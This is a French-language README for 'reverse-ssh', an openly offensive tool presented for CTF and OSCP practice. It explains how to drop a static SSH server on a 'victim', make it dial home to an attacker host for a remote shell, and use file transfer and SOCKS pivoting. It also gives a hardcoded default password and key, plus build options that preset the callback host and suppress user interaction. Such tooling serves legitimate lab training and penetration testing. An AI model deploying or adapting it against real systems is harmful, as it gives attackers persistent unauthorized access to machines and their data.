
Serveur ssh statiquement lié avec fonctionnalité de shell inversé pour les CTFs et autres
Un serveur ssh lié statiquement avec une fonction de connexion inverse pour un accès distant simple mais puissant. Particulièrement utile lors des challenges HackTheBox, CTF ou similaires.
A été développé et largement utilisé lors de la préparation à l'examen OSCP.

Attraper un reverse shell avec netcat c'est cool, certes, mais qui n'a jamais fermé accidentellement un reverse shell avec une interruption clavier due à la mémoire musculaire ? Outre leur fragilité, ces shells manquent souvent de fonctionnalités pratiques comme un accès entièrement interactif, la complétion par TAB ou l'historique.
Au lieu de cela, vous pouvez simplement déployer le serveur ssh léger (<1.5MB) reverse-ssh sur la cible, et profiter de commodités supplémentaires comme le transfert de fichiers et le redirection de ports !
ReverseSSH tente de combler le fossé entre le premier accès à une cible et l'escalade de privilèges locale complète. Ses principaux atouts sont les suivants :
Mises en garde pour Windows
Un powershell entièrement interactif sur Windows repose sur Windows Pseudo Console ConPTY et nécessite donc au moins Win10 Build 17763.
Sur les versions antérieures, vous pouvez toujours obtenir un reverse shell interactif qui ne peut pas gérer les codes de terminal virtuel tels que les touches fléchées ou les interruptions clavier.
Dans ce cas, vous devez ajouter la commande cmd, par exemple ssh <OPTIONS> <IP> cmd.
Vous pouvez obtenir un accès shell entièrement interactif pour les anciennes versions de Windows en plaçant ssh-shellhost.exe de OpenSSH pour Windows dans le même répertoire que reverse-ssh, puis en utilisant le drapeau -s ssh-shellhost.exe.
Cela redirigera tout le trafic via ssh-shellhost.exe, qui émule un pty et transforme tous les codes de terminal virtuel pour que Windows puisse les comprendre.
Le simple fait d'exécuter les binaires fournis repose uniquement sur les prérequis système de golang.
En résumé :
La compilation nécessite en outre :
upx pour la compression (par ex. apt install upx-ucl)Une fois que reverse-ssh est en cours d'exécution sur la victime, vous pouvez vous connecter avec n'importe quel nom d'utilisateur et le mot de passe par défaut letmeinbrudipls, la clé ssh ou tout ce que vous avez spécifié lors de la compilation.
Après tout, c'est juste un serveur ssh :
# Accès shell entièrement interactif
$ ssh -p <RPORT> <RHOST>
# Exécution simple de commande
$ ssh -p <RPORT> <RHOST> whoami
# Transferts de fichiers complets
$ sftp -P <RPORT> <RHOST>
# Redirection de ports dynamique en tant que proxy SOCKS sur le port 9050
$ ssh -p <RPORT> -D 9050 <RHOST>
# Victime
victim$ ./reverse-ssh
# Attaquant (mot de passe par défaut : letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
Remarque : vous pouvez compiler ReverseSSH avec les paramètres LHOST et LPORT pour faciliter l'exécution sur la cible, voir ci-dessous
# Sur l'attaquant (préparez-vous à recevoir la demande entrante ;
# peut être omis si vous avez déjà un démon ssh en cours d'exécution, par ex. OpenSSH)
# REMARQUE : LPORT de 8888 entre en conflit avec les connexions entrantes ; utilisez le drapeau `-b 8889` ou similaire sur la victime dans ce cas
attacker$ ./reverse-ssh -v -l -p <LPORT>
# Sur la victime
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# ou en cas d'un démon ssh écoutant sur le port 22 avec authentification par mot de passe pour l'utilisateur 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# Sur l'attaquant (mot de passe par défaut : letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# ou avec la configuration ssh ci-dessous
attacker$ ssh target
En fin de compte, c'est du ssh pur, vous pourriez donc réceptionner l'appel de redirection de port distant provenant de la machine de la victime avec votre démon openssh écoutant sur le port 22.
Ajoutez simplement <USER>@ et fournissez le mot de passe lorsqu'il vous est demandé.
L'appel au domicile utilise actuellement uniquement le mot de passe, car je n'ai pas encore eu envie d'y intégrer une clé privée...
Pour encore plus de commodité, ajoutez ce qui suit à votre ~/.ssh/config, copiez la clé privée ssh dans ~/.ssh/ et appelez simplement ssh target ou sftp target par la suite :
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
Usage: reverse-ssh [options] [[<user>@]<target>]
Examples:
Bind:
reverse-ssh -l
reverse-ssh -v -l -p 4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
Options:
-l, Start reverseSSH in listening mode (overrides reverse scenario)
-p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
-s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-N, Deny all incoming shell/exec/subsystem and local port forwarding requests
(if only remote port forwarding is needed, e.g. when catching reverse connections)
-v, Emit log output
<target>
Optional target which enables the reverse scenario. Can be prepended with
<user>@ to authenticate as a different user other than 'reverse' while dialling home
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
Assurez-vous d'installer les prérequis ci-dessus, tels que golang dans une version compatible, et de le configurer correctement.
Ensuite, vous pouvez compiler avec make, ce qui créera des binaires statiques dans bin.
Utilisez make compressed pour empaqueter les binaires avec upx et réduire encore leur taille.
$ make
# ou pour créer en plus des binaires empaquetés avec upx
$ make compressed
Vous pouvez également spécifier une ou plusieurs des variables d'environnement suivantes lors de la compilation pour personnaliser ReverseSSH selon votre cas d'utilisation :
RS_SHELL pour modifier le shell par défautRS_PASS pour fournir votre mot de passe personnaliséRS_PUB pour fournir votre clé autorisée personnaliséeLUSER pour modifier le nom d'utilisateur par défaut de la tentative de connexion sshLHOST pour fournir une valeur LHOST par défaut et faire en sorte que ReverseSSH utilise par défaut le scénario inverseLPORT pour modifier le port d'écoute par défaut ou le port vers lequel une tentative de connexion ssh est envoyéeBPORT pour modifier le port d'écoute par défaut des connexions inverses sur la machine de l'attaquant ; 0 signifie qu'un port libre quelconque est utiliséNOCLI avec n'importe quelle valeur supprime toute interaction avec l'utilisateur (le binaire ignore tous les drapeaux ou arguments fournis)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
Par défaut, reverse-ssh est compilé pour votre système d'exploitation et votre architecture actuels, ainsi que pour linux et windows en x86 et x64.
Pour compiler pour d'autres architectures ou un autre système d'exploitation, vous pouvez fournir des variables d'environnement correspondant à votre cible, par exemple pour linux/arm64 :
$ GOARCH=arm64 GOOS=linux make compressed
Une liste des cibles disponibles au format OS/arch peut être obtenue via go tool dist list.
Une fonctionnalité époustouflante manque-t-elle ? Quelque chose ne fonctionne pas comme prévu ?
Créez une issue ou une pull request !